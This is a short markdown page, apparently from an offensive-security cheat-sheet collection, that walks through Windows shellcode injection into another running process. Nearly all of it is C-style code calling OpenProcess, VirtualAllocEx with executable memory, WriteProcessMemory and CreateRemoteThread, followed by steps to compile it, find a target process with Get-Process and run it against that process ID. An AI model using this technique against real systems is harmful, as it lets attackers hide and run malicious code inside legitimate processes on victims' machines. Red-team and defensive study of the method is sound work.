killchain-compendium/exploit/windows/process_injection/shellcode_injection.md

Process Injection

Shellcode injection

• Open a process

processHandle = OpenProcess(
	PROCESS_ALL_ACCESS, // Defines access rights
	FALSE, // Target handle will not be inhereted
	DWORD(atoi(argv[1])) // Local process supplied by command-line arguments 
);

• Allocate memory

remoteBuffer = VirtualAllocEx(
	processHandle, // Opened target process
	NULL, 
	sizeof shellcode, // Region size of memory allocation
	(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

• Write shellcode to memory allocated

WriteProcessMemory(
	processHandle, // Opened target process
	remoteBuffer, // Allocated memory region
	shellcode, // Data to write
	sizeof shellcode, // byte size of data
	NULL
);

• Execute shellcode inside a created thread

remoteThread = CreateRemoteThread(
	processHandle, // Opened target process
	NULL, 
	0, // Default size of the stack
	(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
	NULL, 
	0, // Ran immediately after creation
	NULL
);

• Compile
• Check processes via

Get-Process -IncludeUserName

• Run on process ID as argv1